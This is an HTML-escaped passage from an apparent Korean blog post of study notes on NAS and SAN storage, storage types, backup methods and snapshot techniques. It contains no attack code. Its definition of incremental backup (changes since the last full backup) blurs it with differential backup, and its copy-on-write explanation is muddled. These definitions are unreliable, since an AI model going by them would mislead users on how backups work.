&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. 서버 &amp;rarr; 스위치&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. 스위치&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; NAS&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. NAS&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 스위치&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4. 스위치&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 서버&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 클라이언트가 서버에서 구동되는 애플리케이션의 데이터에 접근할 경우, 서버는 네트워크 스위치를 통해 NAS에 접근해서 데이터를 찾아 클라이언트에게 전달함&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;551&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b067fJ/btsNKg2nD3g/2hqpfwWfO3EZ9gUNK7HwRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b067fJ/btsNKg2nD3g/2hqpfwWfO3EZ9gUNK7HwRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b067fJ/btsNKg2nD3g/2hqpfwWfO3EZ9gUNK7HwRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb067fJ%2FbtsNKg2nD3g%2F2hqpfwWfO3EZ9gUNK7HwRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1292&quot; height=&quot;551&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;551&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;데이터 전송 순서&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. 클라이언트 &amp;rarr; 스위치&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. 스위치&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 서버&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. 서버&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 스위치&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4. 스위치&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; NAS&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;5. NAS &amp;rarr; 스위치&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;6. 스위치 &amp;rarr; 클라이언트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스토리지 종류: SAN(Storage Area Network)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;대용량의 데이터&lt;/b&gt;를 네트워크를 통해 &lt;b&gt;빠른 속도로 전송할 수 있는 고성능 스토리지&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 일반적인 이더넷 네트워크(UTP 케이블, LAN)가 아닌 FC(Fiber Channel 광케이블)을 사용해 SAN으로 연결하며, 고성능을 요구하는 시스템의 전용 스토리지로 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이더넷 네트워크 스위치가 아닌 &lt;b&gt;SAN 스위치에 연결하여 사용&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1253&quot; data-origin-height=&quot;432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3enKl/btsNMaM51iN/XeUKh3vIW5WkO6k8MhadF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3enKl/btsNMaM51iN/XeUKh3vIW5WkO6k8MhadF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3enKl/btsNMaM51iN/XeUKh3vIW5WkO6k8MhadF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3enKl%2FbtsNMaM51iN%2FXeUKh3vIW5WkO6k8MhadF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1253&quot; height=&quot;432&quot; data-origin-width=&quot;1253&quot; data-origin-height=&quot;432&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;스토리지 단독으로는 데이터 저장만 가능하며 읽기/쓰기 작업을 할 수 없음&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;반드시 서버와 연결해야 읽기/쓰기 작업이 가능&lt;/b&gt;한 서버 종속성 스토리지로 블록 스토리지라고도 불림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 마치 PC에 디스크를 하나 더 꽂은 것처럼, 블록 스토리지가 서버의 자체 디스크처럼 동작&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;622&quot; data-origin-height=&quot;560&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccvPDt/btsNLnsLNcj/54baYvTqIhiDUAyRkSxK4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccvPDt/btsNLnsLNcj/54baYvTqIhiDUAyRkSxK4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccvPDt/btsNLnsLNcj/54baYvTqIhiDUAyRkSxK4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccvPDt%2FbtsNLnsLNcj%2F54baYvTqIhiDUAyRkSxK4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;622&quot; height=&quot;560&quot; data-origin-width=&quot;622&quot; data-origin-height=&quot;560&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라이언트에서 스토리지에 데이터를 읽거나 쓰기 위해서는 반드시 서버가 필요(서버 종속성 스토리지)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- FC 네트워크는 이더넷 네트워크보다 성능이 뛰어남 &amp;rarr; NAS보다 데이터 전송 속도가 빠름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이더넷 스위치 성능(1Gbps, 10Gbps) vs SAN 스위치 성능(8Gbps, 16Gbps, 32Gbps)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1455&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XwrNY/btsNKzN1YyK/lzMtKTYHQyfRQoAOFgrn11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XwrNY/btsNKzN1YyK/lzMtKTYHQyfRQoAOFgrn11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XwrNY/btsNKzN1YyK/lzMtKTYHQyfRQoAOFgrn11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXwrNY%2FbtsNKzN1YyK%2FlzMtKTYHQyfRQoAOFgrn11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1455&quot; height=&quot;336&quot; data-origin-width=&quot;1455&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스토리지 유형: 파일 스토리지, 블록 스토리지, 오브젝트 스토리지&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1176&quot; data-origin-height=&quot;567&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2rMuX/btsNJVKPm72/sKmQLII0TsKNNlswnUIyj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2rMuX/btsNJVKPm72/sKmQLII0TsKNNlswnUIyj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2rMuX/btsNJVKPm72/sKmQLII0TsKNNlswnUIyj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2rMuX%2FbtsNJVKPm72%2FsKmQLII0TsKNNlswnUIyj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1176&quot; height=&quot;567&quot; data-origin-width=&quot;1176&quot; data-origin-height=&quot;567&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터 유형: 정형 데이터, 비정형 데이터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 정형(Structured) 데이터: 미리 정해 놓은 형식과 구조에 따라 고정된 필드에 저장된 &lt;b&gt;텍스트 형태의 데이터(엑셀)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 비정형(Unstructured) 데이터: 식별 가능한, &lt;b&gt;미리 정의된 구조가 없는&lt;/b&gt; 사진, 음성, 동영상, PDF 파일 등의 데이터&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;523&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTSFRK/btsNKA0xxfN/QFCq4MyYRyECpGDzWmVkC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTSFRK/btsNKA0xxfN/QFCq4MyYRyECpGDzWmVkC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTSFRK/btsNKA0xxfN/QFCq4MyYRyECpGDzWmVkC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTSFRK%2FbtsNKA0xxfN%2FQFCq4MyYRyECpGDzWmVkC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1087&quot; height=&quot;523&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;523&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SAN &amp;rarr; 정형 데이터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NAS &amp;rarr; 비정형 데이터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;백업 개념 및 종류&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 백업(Backup): 데이터를 임시로 다른 장치에 저장하여 문제가 있을 때 복구(Recovery)할 수 있도록 준비해 두는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 전체 백업(Full Backup): 백업 주기마다 데이터 전체를 백업&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 차등 백업(Differential Backup): 마지막 전체 백업 이후에 추가/변경된 데이터를 모두 포함하여 백업&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 증분 백업(Incremental Backup): 마지막 전체 백업 이후에 추가/변경된 데이터만 백업&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1021&quot; data-origin-height=&quot;482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baNPyx/btsNJYARBwt/7H26Ph5uhdfJKKzRLI8kyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baNPyx/btsNJYARBwt/7H26Ph5uhdfJKKzRLI8kyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baNPyx/btsNJYARBwt/7H26Ph5uhdfJKKzRLI8kyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaNPyx%2FbtsNJYARBwt%2F7H26Ph5uhdfJKKzRLI8kyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1021&quot; height=&quot;482&quot; data-origin-width=&quot;1021&quot; data-origin-height=&quot;482&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 전체 백업&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDcJeQ/btsNJH7cqEc/UjtaKVpVJMf8diRNSx2sHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDcJeQ/btsNJH7cqEc/UjtaKVpVJMf8diRNSx2sHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDcJeQ/btsNJH7cqEc/UjtaKVpVJMf8diRNSx2sHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDcJeQ%2FbtsNJH7cqEc%2FUjtaKVpVJMf8diRNSx2sHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;918&quot; height=&quot;490&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 차등 백업&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;474&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P95Mx/btsNK32ssUV/pMdcKF9a5HFzmQOBVq6xY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P95Mx/btsNK32ssUV/pMdcKF9a5HFzmQOBVq6xY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P95Mx/btsNK32ssUV/pMdcKF9a5HFzmQOBVq6xY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP95Mx%2FbtsNK32ssUV%2FpMdcKF9a5HFzmQOBVq6xY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;912&quot; height=&quot;474&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;474&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 증분 백업&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;922&quot; data-origin-height=&quot;494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bykRSp/btsNJDw16jx/6e1hGgsOEJktHORi8vtO4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bykRSp/btsNJDw16jx/6e1hGgsOEJktHORi8vtO4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bykRSp/btsNJDw16jx/6e1hGgsOEJktHORi8vtO4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbykRSp%2FbtsNJDw16jx%2F6e1hGgsOEJktHORi8vtO4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;922&quot; height=&quot;494&quot; data-origin-width=&quot;922&quot; data-origin-height=&quot;494&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;스냅샷&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스냅샷: Snapshot, 마치 사진 찍듯이 특정 시점에 스토리지의 파일 시스템을 포착해 보관하는 기술 = &lt;b&gt;특정 시점의 데이터 복사본&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;Copy-on-write&lt;/b&gt; 스냅샷: 쓰기(Write) 작업 발생 시 스냅샷 공간으로 복제(Copy) 후 해당 복제본을 원본에 덮어씀&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 별도의 스냅샷 공간은 일반적으로 전체 스토리지 용량의 20% 이내로 할당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터가 변경될 때 한번 복제 후 데이터 쓰기 수행 &amp;rarr; 읽기 x 1, 쓰기 x 2&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1064&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YfEZm/btsNMzM8Hsh/8kdbKf1TWfFcPWpkhvpxq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YfEZm/btsNMzM8Hsh/8kdbKf1TWfFcPWpkhvpxq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YfEZm/btsNMzM8Hsh/8kdbKf1TWfFcPWpkhvpxq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYfEZm%2FbtsNMzM8Hsh%2F8kdbKf1TWfFcPWpkhvpxq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1064&quot; height=&quot;411&quot; data-origin-width=&quot;1064&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pl45e/btsNMcxUEZD/WKEwwqkbXfh8uqzL2b0YAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pl45e/btsNMcxUEZD/WKEwwqkbXfh8uqzL2b0YAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pl45e/btsNMcxUEZD/WKEwwqkbXfh8uqzL2b0YAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpl45e%2FbtsNMcxUEZD%2FWKEwwqkbXfh8uqzL2b0YAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1066&quot; height=&quot;411&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1054&quot; data-origin-height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Q3EDL/btsNLUYy7St/ho48mK36NhoLNbBFzHy0g1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Q3EDL/btsNLUYy7St/ho48mK36NhoLNbBFzHy0g1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Q3EDL/btsNLUYy7St/ho48mK36NhoLNbBFzHy0g1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQ3EDL%2FbtsNLUYy7St%2Fho48mK36NhoLNbBFzHy0g1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1054&quot; height=&quot;408&quot; data-origin-width=&quot;1054&quot; data-origin-height=&quot;408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;- 스냅샷: Snapshot, 마치 사진 찍듯이 특정 시점에 스토리지의 파일 시스템을 포착해 보관하는 기술 =&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;특정 시점의 데이터 복사본&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;Redirect-on-write&lt;/b&gt; 스냅샷: 쓰기(Write) 작업 발생 시 새로운 공간으로 쓰기 위치를 재지정(Redirect)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터 변경될 때 그곳에 바로 데이터 쓰기 수행 &amp;rarr; 쓰기 x 1&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D11ip/btsNKh1Noch/EvAMMo4EebKPILvsKvnLrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D11ip/btsNKh1Noch/EvAMMo4EebKPILvsKvnLrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D11ip/btsNKh1Noch/EvAMMo4EebKPILvsKvnLrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD11ip%2FbtsNKh1Noch%2FEvAMMo4EebKPILvsKvnLrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;926&quot; height=&quot;411&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스냅샷 = 원본 데이터, 원본 데이터 B를 얼림&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;405&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqqGEp/btsNKrpATSs/BvadMbZgVA1XIU63qR5KzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqqGEp/btsNKrpATSs/BvadMbZgVA1XIU63qR5KzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqqGEp/btsNKrpATSs/BvadMbZgVA1XIU63qR5KzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqqGEp%2FbtsNKrpATSs%2FBvadMbZgVA1XIU63qR5KzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 